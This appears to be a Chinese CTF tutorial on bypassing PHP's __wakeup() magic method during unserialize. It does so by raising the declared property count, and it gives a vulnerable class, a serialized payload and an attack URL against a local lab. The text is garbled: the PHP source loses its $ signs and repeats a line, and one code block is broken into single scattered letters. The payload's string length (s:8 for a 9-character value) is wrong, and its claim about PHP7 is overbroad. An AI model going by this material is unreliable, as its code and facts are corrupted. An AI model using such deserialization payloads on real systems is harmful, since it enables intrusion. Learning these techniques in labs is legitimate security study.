CTF PHP 完整实战
在CTF Web题型中,PHP反序列化漏洞属于高频考点,其中 __wakeup() 魔术方法绕过是入门必掌握技巧。
很多新手卡在:序列化字符串长度不匹配导致 __wakeup 失效,本文基于 Windows + PHPStudy 本地复现,一步一步带你拿到 Flag,无虚拟机、纯本地环境、可100%复现。
适用场景:CTF 入门 Web、PHP审计、反序列化绕过考点
环境:Windows10/11 + PHPStudy(PHP7.x)
知识点:serialize 序列化、unserialize 反序列化、__wakeup 绕过机制
1. 漏洞原理简述
PHP 反序列化触发机制:
1. unserialize() 解析字符串成功后,优先触发 __wakeup()
2. 若序列化字符串中属性数量 > 真实类属性数量,PHP 直接放弃执行 __wakeup(),直接销毁对象
3. 利用该特性可以绕过过滤、绕过销毁逻辑,触发 __destruct() 危险方法
常见靶场逻辑:
• __wakeup():清空变量、退出程序、销毁恶意数据
• __destruct():文件读取、命令执行、输出 Flag
2. 靶场源码(通用CTF题型<?php
class Test{
public flag = "fake_flag";
public function __wakeup(){
flag = "fake_flag"; public function __wakeup(){
this->flag = "no flag";
exit("禁止反序列化攻击");
}
public function __destruct(){
echo $this->flag;
}
}
$str = _GET['str'];
unserialize(str);
?>
**逻辑分析**
- 正常反序列化:触发 `__wakeup` → exit 退出,拿不到 Flag
- 绕过思路:**篡改序列化属性数量**,让 __wakeup 失效,执行 __destruct 输出 flag
## 3. 正常序列化结果
手动序列化对象:
```php
𝑎=𝑛𝑒𝑤𝑇𝑒𝑠𝑡();𝑒𝑐ℎ𝑜𝑠𝑒𝑟𝑖𝑎𝑙𝑖𝑧𝑒(
𝑎
=
𝑛
𝑒
𝑤
𝑇
𝑒
𝑠
𝑡
(
)
;
𝑒
𝑐
ℎ
𝑜
𝑠
𝑒
𝑟
𝑖
𝑎
𝑙
𝑖
𝑧
𝑒
(
a);
输出:
O:4:"Test":1:{s:4:"flag";s:8:"fake_flag";}
参数解释:
• O:4:"Test":1:对象、类名长度4、属性数量1
4. 构造 Payload(核心绕过)
修改属性数量 1 → 2
修改后 Payload:
O:4:"Test":2:{s:4:"flag";s:8:"fake_flag";}
绕过原理
PHP 解析时发现:声明2个属性,但实际只有1个属性
→ __wakeup 不执行
→ 脚本不 exit
→ 程序结束触发 __destruct,输出自定义 flag
5. 传入参数拿到 Flag
访问链接:
http://localhost/?str=O:4:"Test":2:{s:4:"flag";s:8:"fake_flag";}
即可输出变量内容,替换变量值即可实现任意内容读取/执行。
6. 常见踩坑总结
1. 只能改属性数量,不能乱改字符串长度
2. PHP7 完全可用,PHP8 部分版本修复,CTF 靶场基本都是 PHP7
3. 绕过成功特征:不再提示“禁止反序列化攻击”
4. 不止 exit,任意 __wakeup 防护逻辑均可此方法绕过
7. 总结
__wakeup 长度绕过是 CTF Web 最基础、最高频的反序列化考点。
核心一句话:增大序列化声明属性数,废掉 wakeup,执行 destruct。
更多推荐

所有评论(0)